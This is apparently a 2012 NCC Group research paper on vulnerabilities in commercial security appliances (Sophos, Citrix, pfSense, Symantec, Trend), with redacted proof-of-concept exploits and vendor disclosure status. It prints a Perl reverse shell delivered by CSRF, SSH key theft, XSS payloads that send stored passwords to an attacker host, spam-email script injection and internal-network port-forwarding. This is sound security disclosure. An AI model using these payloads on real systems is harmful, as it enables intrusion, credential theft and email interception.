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2 Introduction 
 

This paper summarises research undertaken during 2012 to assess the overall security posture of 

popular appliance-based security products. A selection of the products and vulnerabilities discovered 

during the course of this research are demonstrated here, with redacted proof-of-concept exploits 

and scenarios in which these vulnerabilities could be exploited. 

 

There may be a temptation to think of Security Appliances as fortified; i.e. specially secured and 

hardened, or that these devices have undergone thorough and comprehensive security testing to 

eliminate insecurities as part of a Secure Development Lifecycle. This research shows that this 

appears to be mostly not the case, and rather basic and easily identified and common security 

issues were discovered in almost all Security Appliances tested.  

 

This work builds on research conducted in 2011 by NCC, see “Exploiting Security Gateways via 

Their Web Interfaces”
1
, but more specifically focused on Security Appliances from popular vendors in 

the IT Security industry. These were well known and widely used products indeed several of the 

products where vulnerabilities were discovered have been chosen as finalists for the SC magazine 

2013 security product awards
2
. 

 

This time the research was not restricted to the Web-UI, but also looked at other potential attack 

vectors. Products assessed included; Firewalls and Multifunction Gateways, Antispam and Antivirus-

filtering for Email, and Remote Access Gateways. During the course of the research numerous 

vulnerabilities were discovered and escalated to the appropriate vendors. 

 

For each product NCC looked at the latest evaluation version of the Virtual Security Appliance, and 

in the majority of cases identified serious flaws which enabled the Appliance to be compromised in 

some way. Often a combination of exploits could be used by an attacker to gain full control of the 

device (in several cases far more control than the administrator normally has, i.e. a root shell on the 

underlying operating-system). 

 

These attacks were sometimes direct, where access to the UI or other protocols was exposed. 

Sometimes attacks could be performed by external attackers, reflectively via internal users or 

administrators, even where the products were not directly accessible. These situations would 

typically involve a small amount of reconnaissance and social-engineering (getting the administrator 

to view the attacker’s website for example) but there were several cases where social-engineering 

and detailed reconnaissance were not necessary, leading to powerful attack vectors. 

 

Having gained full control of a Security Appliance, an attacker would have access to confidential data, 

a very strong position for Man-in-The-Middle attacks (MiTM) and a foothold to attack the internal 

network. 

 

Though time for this research was limited, more in-depth research with a small number of products 

revealed further interesting issues, demonstrating that; given more scrutiny the likelihood of finding 

more complex issues is high.  

                                                     
1
 http://www.nccgroup.com/media/18475/exploiting_security_gateways_via_their_web_interfaces.pdf 

2
 http://www.scmagazine.com/2013-sc-magazine-us-awards-finalists/article/270471/ 

http://www.nccgroup.com/media/18475/exploiting_security_gateways_via_their_web_interfaces.pdf
http://www.scmagazine.com/2013-sc-magazine-us-awards-finalists/article/270471/
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3 Summary of issues 
 

3.1 The most common issues discovered 
 

The research revealed that almost all Security Appliance products in the sample were vulnerable to: 

 Cross-Site-Scripting (XSS) where either session-hijacking or password-theft was possible 

 Automated password attacks for SSH or the Web-UI – due to lack of brute-force protection 

 A lack of hardening of the underlying operating-system. 

 Unauthenticated detailed version disclosure – A low severity issue, but useful for an attacker 

trying to enumerate the system and its potential flaws, but also could be used by vulnerability-

scanners to detect vulnerable systems. 

  

The majority of Security Appliances were vulnerable to: 

 Cross-Site-Request-Forgery (CSRF) of administrative functions 

 OS Command-injection in the Web-UI, giving access to the underlying operating-system 

 Privilege escalation (either in the UI or underlying operating-system) 

 

Also: 

 Several appliances had some form of authentication-bypass. 

 Some appliances had stored out-of-band XSS and On-Site-Request Forgery (OSRF), with the 

ability to attack users and administrators of the product with a maliciously crafted spam email for 

example. 

 There were a wide variety of other issues such as session-token prediction, SSH misconfiguration, 

Denial-of-Service, SQLi, LDAPi
3
, etc. 

 

3.2 Attack surfaces 
 

The largest attack-surface, and where it was easiest to identify and exploit vulnerabilities, was 

typically the Web-UI
4
, but vulnerabilities and insecure design were observed throughout these 

products, in the SSH configuration, database, maintenance scripts, file system, patch-management 

processes and configuration of the underlying operating-system. Additionally, it was clear that secure 

development practices were not being followed in other areas such as insecure functions and 

compile options in compiled binaries, and lack of enabled memory protections in the operating 

system (potentially an area for further research). 

 

For the Web-UI 

 

Many of the vulnerabilities were identified using web-fuzzing and manual tampering with an 

intercepting proxy
5
. Unlike a typical modern and secured website, for the Security Appliances studied, 

there appeared to be no frameworks deployed to mitigate input-validation attacks or other mitigations 

such as mod_security rule-sets. 

 

For example on Microsoft platforms, modern versions of .NET
6
 and common PHP frameworks do a 

fairly good job of mitigating many attack vectors, such as XSS and SQLi, without specific developer 

consideration. There seemed to be no effective equivalent for this type of technology deployed in 

                                                     
3
 http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-

parada-WP.pdf 
4
 http://www.amazon.co.uk/The-Web-Application-Hackers-Handbook/dp/1118026470/ 

5
 http://www.portswigger.net/burp/ 

6
 http://www.asp.net/whitepapers#security 

http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf
http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf
http://www.amazon.co.uk/The-Web-Application-Hackers-Handbook/dp/1118026470/
http://www.portswigger.net/burp/
http://www.asp.net/whitepapers#security
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Security Appliance UIs, and it was common to find multiple instances of vulnerabilities that are less 

likely to be present in a typical web-site developed with modern frameworks. 

 

Also, unlike typical modern web applications, Security Appliance UIs have a much higher prevalence 

of operating system command-injection vulnerabilities. This is because there is a very large 

interaction between the UI and the underlying operating system. Usually there are various UI 

functions for managing the appliances, and interacting with the operating system and applications for 

configuration purposes. OS command-injection could often be triggered by tricking an administrator 

to click on a malicious link. Feedback from discussions with the responsive vendors shows that there 

was sometimes a lack of security knowledge in these development teams, and that for these 

products; the administrator’s browser was fully trusted, and it was not considered that an attack may 

come in a reflective way via a valid authenticated administrator. 

 

The underlying operating-system, packages and applications 

 

Commonly these systems were built on a standard version of Linux or FreeBSD, which was often old 

and occasionally out of support, but commonly missing security updates for the kernel and packages. 

It was clear that regular maintenance of the underlying operating systems and packages were not 

performed frequently enough which resulted in additional vulnerabilities being present. 

 

Webservers used included Apache
7
, Nginx

8
, Tomcat

9
, and other J2EE platforms. UIs were written in 

a variety of languages including Perl, PHP and Java with Perl being surprisingly common. Databases 

supporting the UI and applications were most often MySQL or Postgres. Older or unpatched versions 

of each of these technologies were commonly found. 

 

For example during 2012 NCC found that most Barracuda appliances were vulnerable to the Apache 

byte-range DoS vulnerability (fixed by Apache in August 2011). This vulnerability resulted in a 

serious and persistent DoS of the affected appliance (with only a few malicious packets) which 

required a power-cycle to resolve. This issue has partially been addressed by Barracuda, though it 

has not been possible to get a clear picture of which products have been fixed, when, and in which 

versions through our discussions with them. 

 

Despite various vendors claiming that “Our appliance is built on hardened Linux”, no devices were 

seen to have what NCC would consider “hardened Linux”. Unnecessary packages were common, as 

were package managers (these could be useful following an attack which gained the attacker a shell). 

No effective SELinux, AppArmour, chroot or integrity checking of the OS was identified during the 

testing of Security Appliances, and limited monitoring was found. File-permissions were sometimes 

seen to be poor and very few systems had no-write, no-exec file systems configured. As a 

consequence multiple privilege escalation vectors were common for the underlying OS. 

 

Configurations and exploit reusability 

 

When Windows or Linux software products are installed this can be performed by the customer in a 

variety of different configurations and on different versions of the operating system. These 

differences in configuration can cause exploits to fail in some instances. However, with appliances 

the OS and applications are integrated as far as the customer is concerned, and the deployments 

are essentially all the same (like clones) with the same application, database and operating system 

configurations. This makes any exploits developed for an appliance platform very reliable and 

reusable across all installations of the product. 

                                                     
7
 http://www.apache.org/ 

8
 http://nginx.org/ 

9
 http://tomcat.apache.org/ 

http://www.apache.org/
http://nginx.org/
http://tomcat.apache.org/
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Also, as changes from one appliance version to another are usually relatively minor, viable exploits 

can affect many versions of the same product. Also, NCC saw multiple instances where a vendor 

used the same UI, database, and OS configuration for multiple products. This reuse of components 

across multiple products is good practice from a development perspective, but if the common 

components are not securely developed and maintained, issues discovered in one product can affect 

a whole range of different products built on the same framework. 
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4 Specific vulnerabilities with proof-of-concept exploits 
 

The following specific examples demonstrate some of the more interesting exploitable vulnerabilities 

discovered in Security Appliances during this study. 

 

4.1 Sophos Email Appliance: Typical issues, and some post exploitation 
 

The Sophos Email Appliance (v3.7.4.0) had multiple vulnerabilities which in combination could allow 

the system to be fully compromised, giving an attacker both administrative access to the UI, and a 

root shell on the underlying operating system. These included; various instances of command 

injection, XSS with session-hijacking, CSRF, session-fixation, etc. 

 

Lack of defenses from password attacks 

 

Though far too trivial to describe as an “exploit”, most Security Appliances tested were vulnerable to 

automated password attacks, and the Sophos Email Appliance was no exception. 

 

There were several issues commonly seen in appliances which made them especially vulnerable to 

password attacks. These issues include: 

 

 Known username (default, documented and often fixed) 

 Linux platform with a scalable and responsive webserver 

 No account lockout 

 No brute-force protection 

 Minimal password complexity requirements 

 Often no logging/alerting 

 Administrators choose poor passwords like “P@ssw0rd1” or “!Adm1n#” 

 

The Sophos Email appliance suffered from most of these issues (and had a minimum password 

length of 4 characters). Due to these issues, over an extended period, an attacker would have had a 

very good chance of gaining administrative access with a password attack. As a real world example 

automated password-guessing was used during a penetration test for one of our customers, and 

administrative access was gained to the Sophos Email Appliance in around 30 minutes. 

 

4.1.1 Vulnerabilities report 

 

Description NCC Rating 

Command injection via CSRF with privilege escalation to root Critical 

XSS with session-hijacking High 

Authentication bypass via Session-Fixation High 

Unauthenticated detailed version disclosure Low 

 

 

Stealing the SSH key to login as “root” 

 

Using one of the command injection points, it was possible to enumerate the file system as a low 

privilege user, and an SSH private key file was discovered. This could be obtained by an attacker by 

copying it to the web root with the following command injection: 
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`cp /opt/pmx/home/.ssh/id_rsa /opt/pmx/var/www/admin/sshkey.txt` 

 

…and then downloaded and used as below (surprisingly the SSH key for the low privileged user also 

worked for “root” resulting in one of the easiest privilege escalations seen during the study). This was 

because there were several users on the device but each user had the same SSH key, which had 

been generated as part of the install. This SSH key could be downloaded and used as follows: 

 

wget --no-check-certificate https://192.168.233.172:18080/sshkey.txt 

chmod 600 sshkey.txt 

ssh root@192.168.233.172 –p 24 –I sshkey.txt 

 

(…and then remove the SSH key from the appliance UI webserver) 

 

rm /opt/pmx/var/www/admin/sshkey.txt 

 

It was unusual to see SSH private keys used for authentication, as most Security Appliances had 

(weaker) password-based authentication, so it was rather ironic that the SSH key used in this case 

formed part of an exploitation method. 

 

A root shell via Cross Site Request Forgery (CSRF) 

The above shows an attack where the attacker had access to both the administrative Web-UI and 

SSH, but it was also possible for an attacker to gain a root shell on the appliance reflectively using 

CSRF by getting an administrator to click a crafted link or view the attacker’s web-page. 

 

This access could be obtained by using Perl to spawn a reverse shell via one of the command 

injection vulnerabilities. As with most similar products, there were multiple ways to escalate 

privileges, in this case using a world-writeable sudo script and a Perl reverse-shell: 

 
`cp /opt/pmx/bin/perl XXXRedactedXXX; sudo /opt/pmx/bin/clear-postfix-verify-cache 

-MIO -e '$p=fork;exit,if($p);$c=new 

IO::Socket::INET(PeerAddr,"192.168.1.107:25");STDIN->fdopen($c,r);$~-

>fdopen($c,w);system$_ while<>;'` 

 

This attack can be hosted by the attacker as an encoded POST request in a self-submitting form. 

 
<html> 

  <body> 

    <form id="myForm" 

action="https://192.168.1.86:18080/component/Popup/MessageDetails.html?/Search" 

method="POST"> 

      <input type="hidden" name="message&#95;id" 

value="quarantine&#58;192&#46;168&#46;1&#46;86&#58;1&#96;cp&#32;&#47;opt&#47;pmx&#

47;bin&#47;perl&#32;&#47; XXXRedactedXXX 

&#32;&#45;MIO&#32;&#45;e&#32;&apos;&#36;p&#61;fork&#59;exit&#44;if&#40;&#36;p&#41;

&#59;&#36;c&#61;new&#32;IO&#58;&#58;Socket&#58;&#58;INET&#40;PeerAddr&#44;&quot;19

2&#46;168&#46;1&#46;107&#58;25&quot;&#41;&#59;STDIN&#45;&gt;fdopen&#40;&#36;c&#44;

r&#41;&#59;&#36;&#126;&#45;&gt;fdopen&#40;&#36;c&#44;w&#41;&#59;system&#36;&#95;&#

32;while&lt;&gt;&#59;&apos;&#96;" /> 

      <input type="submit" value="Submit" /> 

    </form> 

<script> 

document.getElementById('myForm').submit(); 

</script> 

  </body> 

</html> 

Figure 1: Redacted PoC of a reverse-shell as root via CSRF 

mailto:root@192.168.233.172
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This HTML could be passed to the administrator in a hidden iFrame to further hide the attack, and 

the attack results in a root shell being sent back to the attacker. This is shown in the accompanying 

presentation. When the administrator views the attacker’s page, the administrator’s browser attacks 

the appliance sending a root shell back to the attacker. 

 

 

Figure 2: Root shell via CSRF 

 

Post exploitation - exfiltration of email 

 

In the presentation I show a quick example of exfiltration of live email over SSH. 

 

ssh root@192.168.1.86 -p 24 -I sshkey.txt tcpdump -s 2048 -I em0 -w - ‘port 25’ | 

wireshark -k -I –  

 

It seems unlikely that an attacker would steal email using this particular technique, as there are much 

more effective ways to steal email over an extended period, but I felt this was a quick way to show 

the significance of a root shell on an email-filtering appliance. 

 

The key thing to note here is that normally an administrator does not have access to view all users’ 

email. Most email-filtering appliances are designed such that the administrator is only able to review 

messages which have either been blocked as spam, or are having problems being processed or 

delivered. This feature prevents an administrator from easily reading arbitrary users’ email on a 

regular basis (for example the CEO’s email, or other senior management email which could be highly 

confidential). 

 

When an attacker gains a root shell on an email-filtering appliance he gains access to all traffic 

processed by the system. This includes all email, but also authentication traffic as well. Once a root 

mailto:root@192.168.1.86
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shell has been gained, tampering with traffic, perhaps altering email content for example would be 

relatively trivial. 

 

Malicious reconfiguration of appliances using package managers 

 

Obviously a root shell means that the appliance can be reconfigured in arbitrary ways, but as a 

package manager was already installed in several appliances this made it trivial to quickly add 

arbitrary packages from various sources. An attacker with a root shell could easily add hacking or 

development tools. As long as the appliance continued to process messages, it is unlikely that the 

administrator would discover that the appliance had been compromised and changed. 

 

Status: Fixed 

 

Sophos was notified in Oct 2012 and communications were productive. Based on our escalations 

Sophos performed a product security review, addressing multiple issues and fixes were released in 

January 2013. 

 

Auto-update feature on by default 

 

The Sophos appliance had an auto-update feature which was on by default. In other words 

companies using this product would have to specifically opt-out of this feature if they did not want the 

product to automatically check for and apply any new updates or patches each day. 

 

This enforced auto-update feature is a great feature, but was unfortunately not the norm in the 

Security Appliances tested. In the case of Sophos, this feature means that there should be a high 

uptake of Sophos Email Appliance fixes within a short period of time. 
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4.2 Citrix Access Gateway: SSH misconfiguration 
 

The Citrix Access Gateway (5.0.4) had multiple vulnerabilities which in combination could allow the 

Appliance to be fully compromised. These included password-less SSH port-forwarding from the 

appliance and internal network, authentication-bypass for the admin UI, command-injection (as root) 

in the admin UI, restricted-shell break-out (as root) and unauthenticated version disclosure. 

 

Though having SSH enabled was a non-default configuration, systems administrators may enable 

this fairly easily to remotely manage the device from the restrict shell. 

 

Port-forwarding access to an unauthenticated administrative UI 

 

If SSH was enabled, it was possible to make an SSH connection without providing a password, and 

SSH port-forwarding was possible with this connection. 

 

Using the following command from the attackers system it was possible to forward a service which 

was internal to the Citrix Access Gateway Appliance back to the attackers system (without logging in 

to the restricted-shell). 

 

ssh admin@192.168.1.55 -L xxxx:127.0.0.1:xxxx 

 

 

 

Figure X: It is not necessary to login to the restricted shell for the port-forwarding attack to work 

 

Without a login to the restricted shell, it was then possible to access an unauthenticated version of 

the administrative Web-UI, and have administrative control of the device, by using the forwarded port 

with the following URL: 

 

http://localhost:xxxx/admin/ 

 

http://localhost:xxxx/admin/
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Figure X: The port-forwarded Web-UI is unauthenticated 

 

Additionally command-injection as root was discovered in the admin-UI, meaning that; if SSH was 

enabled, it would be possible for an unauthenticated external attacker to gain a root shell on the 

Citrix Access Gateway Appliance. 

 

Attacking internal systems via the Citrix Access Gateway 

 

Possibly more interesting than the above issue, it was possible to scan the internal networks over 

SSH and forward arbitrary services from other hosts on the internal network, back to the attacker – 

and then attack these systems directly as if they were fully exposed on the internet. 

 

A trivial demonstration of this (using an example exploit; MS08-067) can be seen in the 

accompanying presentation, where an internal Windows system is attacked with an example exploit 

to gain complete control of this system. The port-forwarding for attacking this test system was set-up 

as follows: 

 

ssh admin@192.168.1.55 -L 445:10.0.0.20:445 -L 4444:10.0.0.20:4444 

 

 

Where 192.169.1.0/24 was the “external” network and 10.0.0.0/24 was an “internal non-routable” 

network and the internal target system was 10.0.0.20. Two ports are exfiltrated, one has the 

vulnerability to be exploited, and the other was used to host a bind-shell (to establish full control over 

the remote internal system). Metasploit is set to exploit the vulnerability as if it was on 127.0.0.1 and 

the exploit works very effectively, giving complete control over the internal system. 
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Figure X: In addition to attacking the CAG appliance itself, it was possible to attack arbitrary internal systems via the 

unauthenticated port-forwarding 

 

It is common that internal networks have some unpatched systems with vulnerabilities, and these 

could potentially be attacked via the CAG. Though this is not a default configuration, and SSH would 

need to be exposed externally to be more vulnerable, in this situation it is rather ironic that this 

secure remote access gateway can provide an external attacker with such free-and-easy access to 

the internal network. 

 

Status: Fixed 

These issues were escalated to Citrix in Oct 2012. Fixes and information was release by the vendor 

on 6
th
 March 2013. We strongly recommend that this security update is applied. 

• CVE-2013-2263 Unauthorized Access to Network Resources 

• http://support.citrix.com/article/ctx136623 

 

More generically, and with all security appliances NCC recommend that the Administrative UI and 

SSH are not directly exposed to the internet, and that any remote administration is done either from 

the internal network, or over a secure VPN. 

 

http://support.citrix.com/article/ctx136623
http://support.citrix.com/article/ctx136623
http://support.citrix.com/article/ctx136623
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4.3 Pfsense: High risk UI functionality + password theft 
 

pfsense (2.0.1) had multiple vulnerabilities which in combination could allow the appliance to be fully 

compromised, potentially giving an attacker both administrative access to the UI, and a root shell on 

the underlying operating system. 

 

Password theft via XSS 

 

When XSS and password autocomplete are present in the same application, it is possible to perform 

password theft with various browsers (the following example has been tested successfully on the 

latest version of Firefox
10

). The exploit works by writing out a login form on the page with the XSS 

vulnerability. As this was in the same domain as the stored password, the browser fills out the form, 

and JavaScript can be used to collect information from the form fields (after a small delay, while the 

browser completes the form). 

 

http://192.168.233.63/system_usermanager_settings_test.php?authserver=<form><input 

id=XXXRedactedXXX type=text><input id=XXXRedactedXXX 

type=password></form><script>setTimeout(function(){var 

a="http://192.168.1.116/pfsense-creds-

collect?host="%2bdocument.domain%2b"%26user="%2bdocument.getElementById("XXXRedact

edXXX").value%2b"%26password="%2bdocument.getElementById("XXXRedactedXXX").value;d

ocument.location=a;},50);</script> 

Figure 5: An example URL which sends credentials to the attacker’s system 

 

This request can be easily wrapped in a hidden iFrame to make it less visible to the administrator. 

 

High risk UI functionality and bypassing inconsistently implemented mitigations 

 

pfsense is widely used by the security community for both test systems and live systems, as it is 

highly functional, easy-to-use and free (with paid-for support if required). 

 

The product is very flexible with lots of features, but in its default configuration it does have some 

rather unexpected functionality for a security product, such as root shell functionality in the Web-UI 

(There was a warning for legitimate administrators that they should take great care when using this 

feature but attackers would likely ignore this warning). 

 

These functions allowed the administrator to execute arbitrary commands as root, upload and 

download files as root, and run arbitrary PHP from the Web-UI. Another function enabled the direct 

editing of files as root. 

 

 

                                                     
10

 The latest version of Firefox tested was 19.0 at the time of writing 
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Figure 6: Built-in web-shell functionality which executes as root (note the warning) 
 

 

Figure 7: Command-execution as root 

 

Consequently this product was vulnerable to root shell attacks via CSRF. 

 

When first installed the product was version 1.2.3 and was vulnerable to unauthorised command 

execution as root via CSRF. However, after an upgrade to the latest version (2.0.1) the product 

clearly has had some mitigations added for XSS, session-hijacking, and CSRF (probably because 

these issues have been raised in the past, as previously the issues were easy to discover and 

exploit). However, these new mitigations were inconsistent and could be bypassed. 

 

Bypassing mitigations 

 

Session-hijacking mitigation had been implemented, which is unusual as this was not seen in any 

other products tested and seemed fairly effective. However, as password theft was possible 
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(described above) a better XSS method of gaining unauthorized access to the UI was available. 

 

The anti-CSRF tokens which had been implemented were only implemented on HTTP POST 

requests. Some functions accepted GET, POST or interchangeable methods, so the protection was 

not applied to all functions. Also the anti-CSRF tokens were not bound to a specific page, so XSS 

could be used to obtain a token from any page, and then use it to make a legitimate request to any 

other page. 

 

A review of the PHP code for the UI revealed a function (which did not seem to be linked from the UI) 

which had minimal protection. This was another function that yielded a root shell: 

 

http://192.168.233.63/XXXRedactedXXX.php?cmd= 

 

Part of the mitigation for XSS and CSRF was that most pages checked the “Referer” header, and 

dropped any parameters from the request if this value was “off-site”. However, any function would 

accept requests with parameters if the “Referer” header was blank, so the function above could be 

abused via CSRF. This could be achieved with the following attacker’s web-page which launches a 

pop-up to execute a command as root on the administrator’s appliance: 

 

<html> 

<head> 

</head> 

<body> 

<script> 

window.open("data:text/html,%3Cmeta%20http-

equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttp%3A//192.168.233.63/XXXRedacted

XXX.php?cmd=id%22%3E%20") 

</script> 

</body> 

</html> 

Figure 8: Bypassing the “Referer” header checks with a simple pop-up 

 

Status: Unknown 

 

pfsense were notified in June 2012 but it is not known when these issues will be addressed by 

default, though most can be addressed by configuration changes or relatively easy modifications to 

the Web UI. End-users have the ability to perform modifications because of the open-source nature 

of the product. 

 

  

http://192.168.233.63/exec_raw.php?cmd
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4.4 Symantec: XSS to attack admins via spam email 
 

Symantec Email Appliance (9.5.x) had multiple vulnerabilities which in combination could allow the 

appliance to be fully compromised, giving an attacker both administrative access to the UI, and a 

shell on the underlying operating system. 

 

SSH backdoor user account 

 

One of the things I like to do first when looking at an appliance is gain full access to the operating 

system – often by mounting the VMware disk on another system. I then look at the configuration of 

the operating system, paying particular attention to files in “/etc/” and any file containing passwords 

or password hashes. Sometimes additional “backdoor” accounts with default passwords, or SSH 

private keys, can be discovered. 

 

In this case an account was present with a password of “symantec”, which was not documented in 

the user guide. In addition, it was not normally possible for the administrator to change this password 

(this “feature” was fixed by Symantec in August 2012 as a bug
11

 – so evidently this was not intended 

functionality). 

 

Attacking administrators via email 

 

I described in my BlackHat EU 2012 presentation, a vulnerability in Proofpoint’s Email filtering 

product, where both end-users and administrators could be attacked via the product, by JavaScript in 

the subject line of maliciously crafted spam messages. 

 

 

Figure 9: When the attacker’s email is viewed by the administrator, the product can be attacked in various ways 

 

                                                     
11

 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-3579 

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-3579
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This vulnerability could be used to arbitrarily reconfigure the product by using XSS to trigger Onsite 

Request Forgery (OSRF), just by the administrator viewing the spam quarantine area as part of their 

normal daily duties. 

 

This was a powerful and easy-to-use attack, and at the time I thought this would be rare, but having 

seen it in several other email-filtering products, it seems that it could be quite common (I have also 

seen other out-of-band XSS attacks in SSH usernames for failed logins, where an attacker could 

gain a root shell when the administrator checks his security logs - rather ironic). 

 

Out-of-band XSS (via email) with OSRF has multiple advantages over CSRF attacks: 

 Easy to distribute attack payloads in bulk: using standard spam-sending tools 

 XSS was out-of-band and stored: and cannot be detected and blocked by the administrator’s 

browser because it appears as a normal part of the UI functionality 

 Limited social engineering and reconnaissance required: as the attack payload appears 

within the UI and was executed as part of normal use 

 The internal IP address of the appliance need not be known: as OSRF is relative and need 

not specify the internal hostname or IP address 

 The attack can work in combination with OS command injection: to send a shell back to the 

attacker even when the attacker has no access to the Web-UI 

 

In the Symantec Email Appliance (and also the Trend product described below) it was possible to 

use a combination of exploits using this “XSS in spam email” as the initial attack vector to exploit 

other vulnerabilities and gain the attacker a root shell on the appliance. 

 

 

Figure 10: Popup to basically demonstrate the XSS is present, to attack the administrator via email, in the Symantec 

Messaging Gateway 
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4.4.1 Vulnerabilities report 

 

Description NCC Rating 

Out-of-band stored XSS - delivered by email Critical 

XSS (both reflective and stored) with session-hijacking High 

Easy CSRF to add a backdoor-administrator (for example) High 

SSH with backdoor user account + privilege escalation to root High 

Ability for an authenticated attacker to modify the Web application (as root) High 

Arbitrary file download was possible with a crafted URL (authenticated) Medium 

Unauthenticated detailed version disclosure Low 

 

Exploits for these vulnerabilities can be chained together in various ways, so for example; the XSS in 

a spam email subject line could be used to attack the administrator, inject arbitrary JSP code to the 

web application, and then execute OS commands, using privilege escalation on the underlying OS to 

gain a root shell and send the shell back to the attacker as a reverse-shell on port 25 (SMTP). 

 

This may seem a more complex attack to initially put together, but once accomplished it was very 

reliable, reusable and effective, as the attack-vector was Email, and the exploit could be triggered by 

the administrator during normal product use. I show this working in the presentation, and a similar 

exploit is described in more detail for the Trend Email Appliance product below. 

 

Status: Fixed 

 

Symantec were notified of these issues in April 2012 and released fixes in August 2012. Symantec 

have a structured process for dealing with vulnerabilities in their products. They kept NCC informed 

and they published the vulnerability information on their website, also producing the following CVEs. 

 

http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=

security_advisory&year=2012&suid=20120827_00 

  

CVE BID Description 

CVE-2012-0307 BID 55138 Cross-Site Scripting (XSS) issues 

CVE-2012-0308 BID 55137 Cross-Site Request Forgery (CSRF) Backdoor 

CVE-2012-3579 BID 55143 SSH Account Default Password 

CVE-2012-3580 BID 55141 Web Application Modification 

CVE-2012-4347 BID 56789 Arbitrary File Download via crafted URL 

CVE-2012-3581 BID 55142 Information Disclosure 

 

  

http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00
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4.5 Trend Email Appliance: Combination attacks via Email  
 

The Trend Email Appliance (8.2.0.x) had multiple vulnerabilities which in combination could allow the 

appliance to be fully compromised, giving an attacker both administrative access to the UI, and a 

root shell on the underlying operating system, and also attack end-users of the product via the user-

portal. 

 

4.5.1 Vulnerabilities report 

 

Description NCC Rating 

Out-of-band stored XSS in user-portal - delivered via email Critical 

XSS (both reflective and stored) with session-hijacking High 

Easy CSRF to add a backdoor-administrator (for example) High 

Root shell via patch-upload feature (authenticated) High 

Blind LDAP-injection in user-portal login-screen High 

Directory traversal (authenticated) Medium 

Unauthenticated access to AdminUI logs Low 

Unauthenticated version disclosure Low 

 

Enumeration 

 

As with similar products, the detailed product version can be enumerated in various ways, as there 

was unauthenticated detailed version disclosure in the Web-UI, and also the product marks 

processed SMTP messages with the X-Headers which reveal the full product version detail: 

 

... 

X-TM-AS-Product-Ver: IMSVA-8.2.0.1520-6.8.0.1017-18874.003 

X-TM-AS-Result: Yes-10.387-5.0-31-11 

X-imss-scan-details: Yes-10.387-5.0-31-11 

X-TMASE-Version: IMSVA-8.2.0.1520-6.8.1017-18874.003 

... 

Figure 11: X-headers give full product version detail 

 

This information can be easily gained by an external attacker as part of a reconnaissance phase to 

footprint the exact version of the product in use. 

 

The “XSS via spam email message” vulnerability, in this case affected end-users rather than the 

administrator. However this was still a serious issue as end-users can be attacked via  XSS. 

 

Stealing end-user passwords 

 

End-users could be attacked with arbitrary JavaScript in the user portal, by an attacker sending a 

maliciously crafted spam message. This was a little easier to exploit in other products, as in this case 

the end-user would need to click on the message and view the message detail, but this could result 

in various attacks. An example of password theft as shown below: 

 

The attacker sends a message as follows: 

 
sendEmail -s 192.168.1.114:25 -u "More layoffs at Widgets Inc to be announced next 

week                                                               <script 
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src=\"https://192.168.1.116/pass2.js\"></script>" -f bob@examplecompany.com -t 

bert@insidetrust.com -o message-file=spam1.txt 

 

Jan 15 09:02:24 bt sendEmail[3204]: Email was sent successfully! 

Figure 12: Sending an email with an attack payload in the subject line 

 

The XSS attack is in the subject line, with a tempting message to entice the user to view the 

message body. The XSS includes additional JavaScript from the attacker’s system. As the product 

enables users’ passwords to be stored in the browser (with password-autocomplete) the password 

can be stolen (as described previously for pfsense above). 

 
// <script src="http://192.168.1.115/pass.js"></script> 

 

document.write('<form><input id=XXXRedactedXXX type=text><input id=XXXRedactedXXX 

type=password></form>'); 

 

setTimeout(function(){var a="We have stolen your credentials, haha!\n\nYou are 

logged in to the host "+document.domain+"\non the page 

"+document.location+"\n\nYour username is 

"+document.getElementById("XXXRedactedXXX").value+"\nand your password is 

"+document.getElementById("XXXRedactedXXX").value+"\n\n(and this info has been 

sent to the attacker)";alert(a);var b="https://192.168.1.116/trend-creds-

collect.html?host="+document.domain+"%26user="+document.getElementById("XXXRedacte

dXXX").value+"%26password="+document.getElementById("XXXRedactedXXX").value;docume

nt.location=b;},50); 

Figure 13: Additional JavaScript loaded from the attacker’s system 

 

 

Figure 14: An example showing a malicious email in the users quarantine area 
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Figure 15: When the email is viewed the attacker’s payload executes, stealing the user’s password 

 

 

Figure 16: If the automated password theft fails then a redirection to a cloned phishing site would likely work 

 

For some browsers the redirection sends the attacker the user’s credentials - without any further 

interaction from the user. 

 

All these XSS techniques (and more, phishing for example) should be well understood and attacking 

end-users via XSS in email would likely be fruitful. 
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Root shell via CSRF “spoofed file-upload”: 

 

I have seen several products which perform backup/restore functions or patching functions 

insecurely. These can be backup/restore functions for configuration or message areas for example. 

The problems varied from product to product but essentially several products produced a backup 

“tar.gz” file of the relevant part of the file-system. When a restore was performed by the administrator, 

only minimal integrity checking was undertaken for the restore file (a valid archive file, with an index 

file included) and the “tar.gz” file was unpacked, from the root of the file system as “root”. 

 

Therefore, if arbitrary files were added or changed, they would be restored to the appliance file-

system, meaning that any file could be changed or added with the privileges of “root”. For example a 

cronjob could be added which starts a reverse-shell back to the attacker, or SSH configuration could 

be changed. 

 

NCC raised this with a several vendors, but some decided not to address this issue, perhaps 

because they had fixed other issues which prevented unauthorised access to the Web-UI (such as 

XSS with session-hijacking or authentication bypass). However, it is possible to abuse this type of 

file upload and restore functionality via CSRF, and I have given a redacted example of this attack for 

the Trend product in the Appendix. 

 

 

Figure 17: OS Command-injection via CSRF file-upload 

 

Essentially the JavaScript spoofs a file-upload by using the “XMLHttpRequest()” function to construct 

a multipart-MIME message similar to that which a browser would create for a file upload. After a 

short delay, the script then makes further requests to “click apply”, or otherwise complete the restore 

function. In several products this resulted in a root shell via CSRF, because the restore function is 

performed as the root user. 
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Combining the above attacks 

 

Administrators receive spam too, and the Trend product had poor session-timeouts in the admin UI, 

so the “XSS via email” issue could potentially be used as an initial attack vector to launch the CSRF 

attacks against the admin UI. For example command injection via “spoofed file-upload” or other 

complex attacks to compromise the product, even when the attacker has no direct access to the 

Web-UI (though understandably this has various caveats and would not be 100% reliable). 

 

Status: Vendor response problems 

 

